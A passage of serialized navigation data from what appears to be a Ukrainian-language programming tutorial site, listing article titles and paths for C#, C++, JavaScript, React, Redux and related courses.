HTTP-сервер .NET","\u002Fcsharp\u002Fnetwork-programming\u002F07a.http-listener","01.csharp\u002F13.network-programming\u002F07a.http-listener",{"title":1688,"path":1689,"stem":1690},"HTTP Advanced — cookies, аутентифікація та HTTPS","\u002Fcsharp\u002Fnetwork-programming\u002Fhttp-advanced","01.csharp\u002F13.network-programming\u002F08.http-advanced",{"title":1692,"path":1693,"stem":1694},"SMTP та протоколи електронної пошти","\u002Fcsharp\u002Fnetwork-programming\u002Fsmtp","01.csharp\u002F13.network-programming\u002F09.smtp",{"title":1696,"path":1697,"stem":1698},"WebSocket — повнодуплексний протокол реального часу","\u002Fcsharp\u002Fnetwork-programming\u002Fwebsockets","01.csharp\u002F13.network-programming\u002F10.websockets",{"title":1700,"path":1701,"stem":1702},"TLS\u002FSSL — криптографічний захист мережевих з'єднань","\u002Fcsharp\u002Fnetwork-programming\u002Ftls-ssl","01.csharp\u002F13.network-programming\u002F11.tls-ssl",{"title":1704,"path":1705,"stem":1706},"C# & .NET: The Ultimate Roadmap","\u002Fcsharp\u002Froadmap","01.csharp\u002Froadmap",{"title":1708,"icon":1709,"path":1710,"stem":1711,"children":1712,"page":59},"C++","i-devicon-cplusplus","\u002Fcpp","02.cpp",[1713,1717,1721,1725,1729,1733,1737,1741,1745,1748,1752,1756,1760,1764,1768,1772,1776,1780,1784,1788,1792,1796,1800,1804,1808,1812,1816,1820,1824,1828,1832,1836,1840,1844,1848,1852,1856,1860,1864,1868,1872,1876,1880,1884,1888,1892,1896,1900,1904,1908],{"title":1714,"path":1715,"stem":1716},"Вступ у програмування та алгоритми","\u002Fcpp\u002Fintro-algorithms","02.cpp\u002F01.intro-algorithms",{"title":1718,"path":1719,"stem":1720},"Code Style: угоди про оформлення коду","\u002Fcpp\u002Fcode-style","02.cpp\u002F02.code-style",{"title":1722,"path":1723,"stem":1724},"Середовище розробки та перший проєкт","\u002Fcpp\u002Fide-setup","02.cpp\u002F03.ide-setup",{"title":1726,"path":1727,"stem":1728},"Вивід даних на екран","\u002Fcpp\u002Fdata-output","02.cpp\u002F04.data-output",{"title":1730,"path":1731,"stem":1732},"Типи даних, змінні та константи","\u002Fcpp\u002Fdata-types-variables","02.cpp\u002F05.data-types-variables",{"title":1734,"path":1735,"stem":1736},"Ввід даних з клавіатури","\u002Fcpp\u002Fdata-input","02.cpp\u002F06.data-input",{"title":1738,"path":1739,"stem":1740},"Оператори, перетворення типів та логічні операції","\u002Fcpp\u002Foperators-type-conversion","02.cpp\u002F07.operators-type-conversion",{"title":1742,"path":1743,"stem":1744},"Цикли","\u002Fcpp\u002Floops","02.cpp\u002F08.loops",{"title":32,"path":1746,"stem":1747},"\u002Fcpp\u002Farrays","02.cpp\u002F09.arrays",{"title":1749,"path":1750,"stem":1751},"Алгоритми сортування та аналіз складності","\u002Fcpp\u002Fsorting","02.cpp\u002F10.sorting",{"title":1753,"path":1754,"stem":1755},"Алгоритми пошуку","\u002Fcpp\u002Fsearching","02.cpp\u002F11.searching",{"title":1757,"path":1758,"stem":1759},"Функції: основи","\u002Fcpp\u002Ffunctions-basics","02.cpp\u002F12.functions-basics",{"title":1761,"path":1762,"stem":1763},"Функції: прототипи, область видимості та додаткові можливості","\u002Fcpp\u002Ffunctions-scope","02.cpp\u002F13.functions-scope",{"title":1765,"path":1766,"stem":1767},"Функції: перевантаження та шаблони","\u002Fcpp\u002Ffunctions-overloading-templates","02.cpp\u002F14.functions-overloading-templates",{"title":1769,"path":1770,"stem":1771},"Вказівники: основи","\u002Fcpp\u002Fpointers-basics","02.cpp\u002F15.pointers-basics",{"title":1773,"path":1774,"stem":1775},"Посилання (References)","\u002Fcpp\u002Freferences","02.cpp\u002F16.references",{"title":1777,"path":1778,"stem":1779},"Вказівники, const і масиви","\u002Fcpp\u002Fpointers-const-arrays","02.cpp\u002F17.pointers-const-arrays",{"title":1781,"path":1782,"stem":1783},"Адресна арифметика","\u002Fcpp\u002Fpointer-arithmetic","02.cpp\u002F18.pointer-arithmetic",{"title":1785,"path":1786,"stem":1787},"Динамічна пам'ять","\u002Fcpp\u002Fdynamic-memory","02.cpp\u002F19.dynamic-memory",{"title":1789,"path":1790,"stem":1791},"Вказівники типу void","\u002Fcpp\u002Fvoid-pointers","02.cpp\u002F20.void-pointers",{"title":1793,"path":1794,"stem":1795},"Вказівники на вказівники","\u002Fcpp\u002Fpointers-to-pointers","02.cpp\u002F21.pointers-to-pointers",{"title":1797,"path":1798,"stem":1799},"Оператор доступу до членів через вказівник (->)","\u002Fcpp\u002Fmember-access-operator","02.cpp\u002F22.member-access-operator",{"title":1801,"path":1802,"stem":1803},"Цикл for-each (Range-based for)","\u002Fcpp\u002Fforeach-loop","02.cpp\u002F23.foreach-loop",{"title":1805,"path":1806,"stem":1807},"Вказівники на функції","\u002Fcpp\u002Ffunction-pointers","02.cpp\u002F24.function-pointers",{"title":1809,"path":1810,"stem":1811},"Лямбда-вирази","\u002Fcpp\u002Flambdas","02.cpp\u002F25.lambdas",{"title":1813,"path":1814,"stem":1815},"Лямбда-захоплення","\u002Fcpp\u002Flambda-captures","02.cpp\u002F26.lambda-captures",{"title":1817,"path":1818,"stem":1819},"Еліпсис","\u002Fcpp\u002Fellipsis","02.cpp\u002F27.ellipsis",{"title":1821,"path":1822,"stem":1823},"Безпечні альтернативи еліпсису","\u002Fcpp\u002F27a.ellipsis","02.cpp\u002F27a.ellipsis",{"title":1825,"path":1826,"stem":1827},"Аргументи командного рядка","\u002Fcpp\u002Fcommand-line-arguments","02.cpp\u002F28.command-line-arguments",{"title":1829,"path":1830,"stem":1831},"Перерахування (enum)","\u002Fcpp\u002Fenum","02.cpp\u002F29.enum",{"title":1833,"path":1834,"stem":1835},"Класи-перерахування (enum class)","\u002Fcpp\u002Fenum-class","02.cpp\u002F30.enum-class",{"title":1837,"path":1838,"stem":1839},"Псевдоніми типів (typedef і using)","\u002Fcpp\u002Ftype-aliases","02.cpp\u002F31.type-aliases",{"title":1841,"path":1842,"stem":1843},"Системи числення та двійкова арифметика","\u002Fcpp\u002Fnumber-systems","02.cpp\u002F32.number-systems",{"title":1845,"path":1846,"stem":1847},"Структури (struct): агрегування даних","\u002Fcpp\u002Fstruct","02.cpp\u002F33.struct",{"title":1849,"path":1850,"stem":1851},"Структури у функціях","\u002Fcpp\u002Fstruct-functions","02.cpp\u002F34.struct-functions",{"title":1853,"path":1854,"stem":1855},"Масиви структур і вкладені структури","\u002Fcpp\u002Fstruct-arrays","02.cpp\u002F35.struct-arrays",{"title":1857,"path":1858,"stem":1859},"Патерни struct та межі застосування","\u002Fcpp\u002Fstruct-patterns","02.cpp\u002F36.struct-patterns",{"title":1861,"path":1862,"stem":1863},"Символи та таблиця ASCII","\u002Fcpp\u002Fascii-characters","02.cpp\u002F37.ascii-characters",{"title":1865,"path":1866,"stem":1867},"Unicode та кодування UTF","\u002Fcpp\u002Funicode-utf","02.cpp\u002F38.unicode-utf",{"title":1869,"path":1870,"stem":1871},"C-style рядки","\u002Fcpp\u002Fc-strings","02.cpp\u002F39.c-strings",{"title":1873,"path":1874,"stem":1875},"Вступ до std::string","\u002Fcpp\u002Fstd-string-intro","02.cpp\u002F40.std-string-intro",{"title":1877,"path":1878,"stem":1879},"Довжина, ємність та доступ до символів std::string","\u002Fcpp\u002Fstd-string-capacity-access","02.cpp\u002F41.std-string-capacity-access",{"title":1881,"path":1882,"stem":1883},"Модифікація std::string: присвоювання, додавання, вставка, видалення та заміна","\u002Fcpp\u002Fstd-string-modification","02.cpp\u002F42.std-string-modification",{"title":1885,"path":1886,"stem":1887},"Пошук у std::string: find, npos та практичні патерни","\u002Fcpp\u002Fstd-string-search","02.cpp\u002F43.std-string-search",{"title":1889,"path":1890,"stem":1891},"std::string_view: невласницький погляд на рядок без копіювання","\u002Fcpp\u002Fstd-string-view","02.cpp\u002F44.std-string-view",{"title":1893,"path":1894,"stem":1895},"Об'єднання (union): один блок пам'яті, кілька інтерпретацій","\u002Fcpp\u002Funion","02.cpp\u002F45.union",{"title":1897,"path":1898,"stem":1899},"Організація коду: файли, препроцесор, простори імен","\u002Fcpp\u002Fmultifile-programs","02.cpp\u002F46.multifile-programs",{"title":1901,"path":1902,"stem":1903},"Робота з файлами: C-стиль (stdio.h)","\u002Fcpp\u002Fc-style-files","02.cpp\u002F47.c-style-files",{"title":1905,"path":1906,"stem":1907},"Робота з файлами: C++-стиль (fstream)","\u002Fcpp\u002Fcpp-style-files","02.cpp\u002F48.cpp-style-files",{"title":1909,"path":1910,"stem":1911},"План навчання: Курс C++ — Продовження (Статті 29–60+)","\u002Fcpp\u002Fcurriculum-plan","02.cpp\u002Fcurriculum-plan",{"title":1913,"icon":1914,"path":1915,"stem":1916,"children":1917,"page":59},"JavaScript","i-devicon-javascript","\u002Fjavascript","03.javascript",[1918,1944,1998,2020,2324,2362],{"title":1919,"icon":1920,"path":1921,"stem":1922,"children":1923,"page":59},"Events","i-lucide-mouse-pointer-click","\u002Fjavascript\u002Fevents","03.javascript\u002F01.events",[1924,1928,1932,1936,1940],{"title":1925,"path":1926,"stem":1927},"Вступ до подій браузера","\u002Fjavascript\u002Fevents\u002Fintro","03.javascript\u002F01.events\u002F01.intro",{"title":1929,"path":1930,"stem":1931},"Бульбашковий механізм (Bubbling) та занурення (Capturing)","\u002Fjavascript\u002Fevents\u002Fbubbling-capturing","03.javascript\u002F01.events\u002F02.bubbling-capturing",{"title":1933,"path":1934,"stem":1935},"Делегування подій (Event Delegation)","\u002Fjavascript\u002Fevents\u002Fdelegate-events","03.javascript\u002F01.events\u002F03.delegate-events",{"title":1937,"path":1938,"stem":1939},"Типові дії браузера та preventDefault()","\u002Fjavascript\u002Fevents\u002Fprevent-default","03.javascript\u002F01.events\u002F04.prevent-default",{"title":1941,"path":1942,"stem":1943},"Запуск користувацьких подій (Custom Events)","\u002Fjavascript\u002Fevents\u002Fcustom-events","03.javascript\u002F01.events\u002F05.custom-events",{"title":1945,"icon":1946,"path":1947,"stem":1948,"children":1949,"page":59},"Network","i-lucide-globe","\u002Fjavascript\u002Fnetwork","03.javascript\u002F02.network",[1950,1954,1958,1962,1966,1970,1974,1978,1982,1986,1990,1994],{"title":1951,"path":1952,"stem":1953},"Fetch API - Сучасний підхід до HTTP-запитів","\u002Fjavascript\u002Fnetwork\u002F01-fetch-api","03.javascript\u002F02.network\u002F01-fetch-api",{"title":1955,"path":1956,"stem":1957},"FormData - Робота з формами та файлами","\u002Fjavascript\u002Fnetwork\u002F02-formdata","03.javascript\u002F02.network\u002F02-formdata",{"title":1959,"path":1960,"stem":1961},"Відстеження прогресу завантаження","\u002Fjavascript\u002Fnetwork\u002F03-download-progress","03.javascript\u002F02.network\u002F03-download-progress",{"title":1963,"path":1964,"stem":1965},"Переривання fetch-запитів","\u002Fjavascript\u002Fnetwork\u002F04-abort-requests","03.javascript\u002F02.network\u002F04-abort-requests",{"title":1967,"path":1968,"stem":1969},"CORS - Запити між різними джерелами","\u002Fjavascript\u002Fnetwork\u002F05-cors","03.javascript\u002F02.network\u002F05-cors",{"title":1971,"path":1972,"stem":1973},"Fetch API - Повний довідник опцій","\u002Fjavascript\u002Fnetwork\u002F06-fetch-options","03.javascript\u002F02.network\u002F06-fetch-options",{"title":1975,"path":1976,"stem":1977},"URL Objects - Робота з посиланнями","\u002Fjavascript\u002Fnetwork\u002F07-url-objects","03.javascript\u002F02.network\u002F07-url-objects",{"title":1979,"path":1980,"stem":1981},"XMLHttpRequest - AJAX та низькорівневі запити","\u002Fjavascript\u002Fnetwork\u002F08-xmlhttprequest","03.javascript\u002F02.network\u002F08-xmlhttprequest",{"title":1983,"path":1984,"stem":1985},"Відновлюване завантаження файлів","\u002Fjavascript\u002Fnetwork\u002F09-resumable-upload","03.javascript\u002F02.network\u002F09-resumable-upload",{"title":1987,"path":1988,"stem":1989},"Cookies, document.cookie та світ після \"Cookiepocalypse\"","\u002Fjavascript\u002Fnetwork\u002F10-cookies","03.javascript\u002F02.network\u002F10-cookies",{"title":1991,"path":1992,"stem":1993},"js-cookie: Керування Cookies без Болю","\u002Fjavascript\u002Fnetwork\u002F11-js-cookie","03.javascript\u002F02.network\u002F11-js-cookie",{"title":1995,"path":1996,"stem":1997},"Axios: Потужний HTTP-клієнт для JavaScript","\u002Fjavascript\u002Fnetwork\u002F12-axios","03.javascript\u002F02.network\u002F12-axios",{"title":1999,"icon":2000,"path":2001,"stem":2002,"children":2003,"page":59},"Bom","i-lucide-monitor","\u002Fjavascript\u002Fbom","03.javascript\u002F03.bom",[2004,2008,2012,2016],{"title":2005,"path":2006,"stem":2007},"LocalStorage, SessionStorage та patterns збереження даних","\u002Fjavascript\u002Fbom\u002F01-localstorage","03.javascript\u002F03.bom\u002F01-localstorage",{"title":2009,"path":2010,"stem":2011},"Location Object - Керування адресою сторінки","\u002Fjavascript\u002Fbom\u002F02-location-object","03.javascript\u002F03.bom\u002F02-location-object",{"title":2013,"path":2014,"stem":2015},"History API - Керування історією браузера","\u002Fjavascript\u002Fbom\u002F03-history-api","03.javascript\u002F03.bom\u002F03-history-api",{"title":2017,"path":2018,"stem":2019},"Navigator Object - Ідентифікація та Можливості Пристрою","\u002Fjavascript\u002Fbom\u002F04-navigator-object","03.javascript\u002F03.bom\u002F04-navigator-object",{"title":2021,"icon":2022,"path":2023,"stem":2024,"children":2025},"React","i-devicon-react","\u002Fjavascript\u002Freact","03.javascript\u002F04.react\u002Findex",[2026,2027,2031,2035,2039,2043,2106,2141,2293],{"title":2021,"path":2023,"stem":2024},{"title":2028,"path":2029,"stem":2030},"Робота з Формами в React","\u002Fjavascript\u002Freact\u002Freact-forms","03.javascript\u002F04.react\u002F01.react-forms",{"title":2032,"path":2033,"stem":2034},"React Hook Form: Професійна Робота з Формами","\u002Fjavascript\u002Freact\u002Freact-hook-form","03.javascript\u002F04.react\u002F02.react-hook-form",{"title":2036,"path":2037,"stem":2038},"React Hook Form: Глибоке Розуміння Архітектури та Оптимізації","\u002Fjavascript\u002Freact\u002Freact-hook-form-new","03.javascript\u002F04.react\u002F02.react-hook-form-new",{"title":2040,"path":2041,"stem":2042},"Axios та React: Професійна Архітектура Запитів","\u002Fjavascript\u002Freact\u002Fdata-fetching-axios","03.javascript\u002F04.react\u002F03.data-fetching-axios",{"title":2044,"icon":132,"path":2045,"stem":2046,"children":2047},"Tanstack Query","\u002Fjavascript\u002Freact\u002Ftanstack-query","03.javascript\u002F04.react\u002F04.tanstack-query\u002Findex",[2048,2050,2054,2058,2062,2066,2070,2074,2078,2082,2086,2090,2094,2098,2102],{"title":2049,"path":2045,"stem":2046},"TanStack Query: Майстерність Керування Станом Сервера",{"title":2051,"path":2052,"stem":2053},"Парадигма Server State: Чому useEffect недостатньо","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fserver-state-paradigm","03.javascript\u002F04.react\u002F04.tanstack-query\u002F01.server-state-paradigm",{"title":2055,"path":2056,"stem":2057},"Встановлення та Налаштування: Фундамент","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Finstallation-and-devtools","03.javascript\u002F04.react\u002F04.tanstack-query\u002F02.installation-and-devtools",{"title":2059,"path":2060,"stem":2061},"Основи Запитів та Магія Ключів","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fquery-basics-and-keys","03.javascript\u002F04.react\u002F04.tanstack-query\u002F03.query-basics-and-keys",{"title":2063,"path":2064,"stem":2065},"Синхронізація Даних: Життєвий Цикл Запиту","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fdata-synchronization","03.javascript\u002F04.react\u002F04.tanstack-query\u002F04.data-synchronization",{"title":2067,"path":2068,"stem":2069},"Мутації та Інвалідація: Зміна Даних","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fmutations-and-invalidation","03.javascript\u002F04.react\u002F04.tanstack-query\u002F05.mutations-and-invalidation",{"title":2071,"path":2072,"stem":2073},"Оптимістичні Оновлення: Швидше за Світло","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Foptimistic-updates","03.javascript\u002F04.react\u002F04.tanstack-query\u002F06.optimistic-updates",{"title":2075,"path":2076,"stem":2077},"Пагінація та Infinite Scroll","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fpagination-and-load-more","03.javascript\u002F04.react\u002F04.tanstack-query\u002F07.pagination-and-load-more",{"title":2079,"path":2080,"stem":2081},"Просунуті Патерни та Оптимізація","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fadvanced-patterns","03.javascript\u002F04.react\u002F04.tanstack-query\u002F08.advanced-patterns",{"title":2083,"path":2084,"stem":2085},"Архітектура та Best Practices","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Farchitecture-and-best-practices","03.javascript\u002F04.react\u002F04.tanstack-query\u002F09.architecture-and-best-practices",{"title":2087,"path":2088,"stem":2089},"Server-Side Rendering (SSR) та Гідратація","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fserver-side-rendering","03.javascript\u002F04.react\u002F04.tanstack-query\u002F10.server-side-rendering",{"title":2091,"path":2092,"stem":2093},"Стратегії Тестування","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Ftesting-strategies","03.javascript\u002F04.react\u002F04.tanstack-query\u002F11.testing-strategies",{"title":2095,"path":2096,"stem":2097},"Аутентифікація та Обробка Помилок","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fauthentication-and-errors","03.javascript\u002F04.react\u002F04.tanstack-query\u002F12.authentication-and-errors",{"title":2099,"path":2100,"stem":2101},"React Suspense та Майбутнє","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Freact-suspense","03.javascript\u002F04.react\u002F04.tanstack-query\u002F13.react-suspense",{"title":2103,"path":2104,"stem":2105},"Глибоке Занурення в Продуктивність","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fperformance-deep-dive","03.javascript\u002F04.react\u002F04.tanstack-query\u002F14.performance-deep-dive",{"title":2107,"icon":2022,"path":2108,"stem":2109,"children":2110},"React Router","\u002Fjavascript\u002Freact\u002Freact-router","03.javascript\u002F04.react\u002F05.react-router\u002Findex",[2111,2113,2117,2121,2125,2129,2133,2137],{"title":2112,"path":2108,"stem":2109},"React Router: Навігаційна система сучасного вебу",{"title":2114,"path":2115,"stem":2116},"Налаштування та Базовий Роутинг","\u002Fjavascript\u002Freact\u002Freact-router\u002Fsetup-and-basic-routing","03.javascript\u002F04.react\u002F05.react-router\u002F01.setup-and-basic-routing",{"title":2118,"path":2119,"stem":2120},"Динамічна Навігація","\u002Fjavascript\u002Freact\u002Freact-router\u002Fnavigation-and-links","03.javascript\u002F04.react\u002F05.react-router\u002F02.navigation-and-links",{"title":2122,"path":2123,"stem":2124},"Вкладені Маршрути та Макети","\u002Fjavascript\u002Freact\u002Freact-router\u002Fnested-routes-and-layouts","03.javascript\u002F04.react\u002F05.react-router\u002F03.nested-routes-and-layouts",{"title":2126,"path":2127,"stem":2128},"Динамічні Маршрути та Параметри","\u002Fjavascript\u002Freact\u002Freact-router\u002Fdynamic-routing","03.javascript\u002F04.react\u002F05.react-router\u002F04.dynamic-routing",{"title":2130,"path":2131,"stem":2132},"Data APIs: Loaders та Actions","\u002Fjavascript\u002Freact\u002Freact-router\u002Fdata-loading","03.javascript\u002F04.react\u002F05.react-router\u002F05.data-loading",{"title":2134,"path":2135,"stem":2136},"Просунуті Патерни","\u002Fjavascript\u002Freact\u002Freact-router\u002Fadvanced-patterns","03.javascript\u002F04.react\u002F05.react-router\u002F06.advanced-patterns",{"title":2138,"path":2139,"stem":2140},"Legacy Routing: Компонентний підхід","\u002Fjavascript\u002Freact\u002Freact-router\u002Flegacy-routing","03.javascript\u002F04.react\u002F05.react-router\u002F07.legacy-routing",{"title":2142,"icon":132,"path":2143,"stem":2144,"children":2145},"Redux","\u002Fjavascript\u002Freact\u002Fredux","03.javascript\u002F04.react\u002F06.redux\u002Findex",[2146,2148,2164,2193,2202,2223,2239,2268],{"title":2147,"path":2143,"stem":2144},"Redux: Еволюція управління станом",{"title":14,"icon":15,"path":2149,"stem":2150,"children":2151,"page":59},"\u002Fjavascript\u002Freact\u002Fredux\u002Ffundamentals","03.javascript\u002F04.react\u002F06.redux\u002F01.fundamentals",[2152,2156,2160],{"title":2153,"path":2154,"stem":2155},"Вступ до State Management","\u002Fjavascript\u002Freact\u002Fredux\u002Ffundamentals\u002Fintro-state-management","03.javascript\u002F04.react\u002F06.redux\u002F01.fundamentals\u002F01.intro-state-management",{"title":2157,"path":2158,"stem":2159},"Філософія Redux та Три Принципи","\u002Fjavascript\u002Freact\u002Fredux\u002Ffundamentals\u002Fredux-philosophy","03.javascript\u002F04.react\u002F06.redux\u002F01.fundamentals\u002F02.redux-philosophy",{"title":2161,"path":2162,"stem":2163},"Чисті функції та Іммутабельність","\u002Fjavascript\u002Freact\u002Fredux\u002Ffundamentals\u002Fpure-functions-immutability","03.javascript\u002F04.react\u002F06.redux\u002F01.fundamentals\u002F03.pure-functions-immutability",{"title":2165,"icon":132,"path":2166,"stem":2167,"children":2168,"page":59},"Classic Redux","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux",[2169,2173,2177,2181,2185,2189],{"title":2170,"path":2171,"stem":2172},"Створення Store (Classic Redux)","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Fstore-setup","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F01.store-setup",{"title":2174,"path":2175,"stem":2176},"Actions, Constants та Action Creators","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Factions-constants","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F02.actions-constants",{"title":2178,"path":2179,"stem":2180},"Логіка Reducers","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Freducers","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F03.reducers",{"title":2182,"path":2183,"stem":2184},"Комбінування Reducers (Root Reducer)","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Fdata-flow","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F04.data-flow",{"title":2186,"path":2187,"stem":2188},"Підключення до React (React-Redux)","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Freact-redux-connection","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F05.react-redux-connection",{"title":2190,"path":2191,"stem":2192},"Middleware та Асинхронність (Redux Thunk)","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Fmiddleware-thunk","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F06.middleware-thunk",{"title":2194,"icon":132,"path":2195,"stem":2196,"children":2197,"page":59},"Transition To Rtk","\u002Fjavascript\u002Freact\u002Fredux\u002Ftransition-to-rtk","03.javascript\u002F04.react\u002F06.redux\u002F03.transition-to-rtk",[2198],{"title":2199,"path":2200,"stem":2201},"Проблеми класичного Redux","\u002Fjavascript\u002Freact\u002Fredux\u002Ftransition-to-rtk\u002Fproblems-with-classic","03.javascript\u002F04.react\u002F06.redux\u002F03.transition-to-rtk\u002F01.problems-with-classic",{"title":2203,"icon":132,"path":2204,"stem":2205,"children":2206,"page":59},"Redux Toolkit","\u002Fjavascript\u002Freact\u002Fredux\u002Fredux-toolkit","03.javascript\u002F04.react\u002F06.redux\u002F04.redux-toolkit",[2207,2211,2215,2219],{"title":2208,"path":2209,"stem":2210},"Налаштування Store з configureStore","\u002Fjavascript\u002Freact\u002Fredux\u002Fredux-toolkit\u002Fconfigure-store","03.javascript\u002F04.react\u002F06.redux\u002F04.redux-toolkit\u002F01.configure-store",{"title":2212,"path":2213,"stem":2214},"createSlice: Революція в Redux","\u002Fjavascript\u002Freact\u002Fredux\u002Fredux-toolkit\u002Fcreate-slice","03.javascript\u002F04.react\u002F06.redux\u002F04.redux-toolkit\u002F02.create-slice",{"title":2216,"path":2217,"stem":2218},"Асинхронність з createAsyncThunk","\u002Fjavascript\u002Freact\u002Fredux\u002Fredux-toolkit\u002Fasync-thunks","03.javascript\u002F04.react\u002F06.redux\u002F04.redux-toolkit\u002F03.async-thunks",{"title":2220,"path":2221,"stem":2222},"04. Entity Adapter: Керування нормалізованим станом","\u002Fjavascript\u002Freact\u002Fredux\u002Fredux-toolkit\u002Fentity-adapter","03.javascript\u002F04.react\u002F06.redux\u002F04.redux-toolkit\u002F04.entity-adapter",{"title":2224,"icon":92,"path":2225,"stem":2226,"children":2227,"page":59},"Advanced","\u002Fjavascript\u002Freact\u002Fredux\u002Fadvanced","03.javascript\u002F04.react\u002F06.redux\u002F05.advanced",[2228,2232,2236],{"title":2229,"path":2230,"stem":2231},"Мемоізація та Селектори: Повний Гайд по Reselect","\u002Fjavascript\u002Freact\u002Fredux\u002Fadvanced\u002Fselectors-reselect","03.javascript\u002F04.react\u002F06.redux\u002F05.advanced\u002F01.selectors-reselect",{"title":2233,"path":2234,"stem":2235},"RTK Query: Архітектура Серверного Кешу","\u002Fjavascript\u002Freact\u002Fredux\u002Fadvanced\u002Frtk-query-intro","03.javascript\u002F04.react\u002F06.redux\u002F05.advanced\u002F02.rtk-query-intro",{"title":2083,"path":2237,"stem":2238},"\u002Fjavascript\u002Freact\u002Fredux\u002Fadvanced\u002Farchitecture-best-practices","03.javascript\u002F04.react\u002F06.redux\u002F05.advanced\u002F03.architecture-best-practices",{"title":2240,"icon":132,"path":2241,"stem":2242,"children":2243,"page":59},"Project Kanban","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban",[2244,2248,2252,2256,2260,2264],{"title":2245,"path":2246,"stem":2247},"Проєкт: Kanban Board (Trello Clone)","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Fproject-overview","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F01.project-overview",{"title":2249,"path":2250,"stem":2251},"Налаштування та Типізація","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Fsetup-and-types","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F02.setup-and-types",{"title":2253,"path":2254,"stem":2255},"Board Slice: Серце Дошки","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Fboard-slice","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F03.board-slice",{"title":2257,"path":2258,"stem":2259},"Логіка Drag & Drop","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Fdrag-and-drop-logic","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F04.drag-and-drop-logic",{"title":2261,"path":2262,"stem":2263},"Інтеграція з RTK Query","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Frtk-query-integration","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F05.rtk-query-integration",{"title":2265,"path":2266,"stem":2267},"Optimistic Updates","\u002Fjavascript\u002Freact\u002Fredux\u002Fproject-kanban\u002Foptimistic-updates","03.javascript\u002F04.react\u002F06.redux\u002F06.project-kanban\u002F06.optimistic-updates",{"title":2269,"icon":132,"path":2270,"stem":2271,"children":2272,"page":59},"Testing","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting","03.javascript\u002F04.react\u002F06.redux\u002F07.testing",[2273,2277,2281,2285,2289],{"title":2274,"path":2275,"stem":2276},"Тестування Redux","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting\u002Fintro-testing","03.javascript\u002F04.react\u002F06.redux\u002F07.testing\u002F01.intro-testing",{"title":2278,"path":2279,"stem":2280},"Тестування Reducers","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting\u002Ftesting-reducers","03.javascript\u002F04.react\u002F06.redux\u002F07.testing\u002F02.testing-reducers",{"title":2282,"path":2283,"stem":2284},"Тестування Селекторів","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting\u002Ftesting-selectors","03.javascript\u002F04.react\u002F06.redux\u002F07.testing\u002F03.testing-selectors",{"title":2286,"path":2287,"stem":2288},"Тестування Компонентів (Integration)","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting\u002Ftesting-components","03.javascript\u002F04.react\u002F06.redux\u002F07.testing\u002F04.testing-components",{"title":2290,"path":2291,"stem":2292},"Тестування Async Thunks","\u002Fjavascript\u002Freact\u002Fredux\u002Ftesting\u002Ftesting-thunks","03.javascript\u002F04.react\u002F06.redux\u002F07.testing\u002F05.testing-thunks",{"title":2294,"icon":132,"path":2295,"stem":2296,"children":2297},"Ui Libraries","\u002Fjavascript\u002Freact\u002Fui-libraries","03.javascript\u002F04.react\u002F07.ui-libraries\u002Findex",[2298,2300,2304,2308,2312,2316,2320],{"title":2299,"path":2295,"stem":2296},"UI Бібліотеки в React",{"title":2301,"path":2302,"stem":2303},"Вступ до UI Бібліотек: Навіщо Винаходити Велосипед Двічі?","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fintroduction-to-ui-libraries","03.javascript\u002F04.react\u002F07.ui-libraries\u002F01.introduction-to-ui-libraries",{"title":2305,"path":2306,"stem":2307},"Філософія shadcn\u002Fui: \"Not a Component Library\"","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fshadcn-philosophy","03.javascript\u002F04.react\u002F07.ui-libraries\u002F02.shadcn-philosophy",{"title":2309,"path":2310,"stem":2311},"Установка та Налаштування shadcn\u002Fui","\u002Fjavascript\u002Freact\u002Fui-libraries\u002Fshadcn-installation","03.javascript\u002F04.react\u002F07.ui-libraries\u002F03.shadcn-installation",{"title":2313,"path":2314,"stem":2315},"Базові Компоненти shadcn\u002Fui: Фундамент 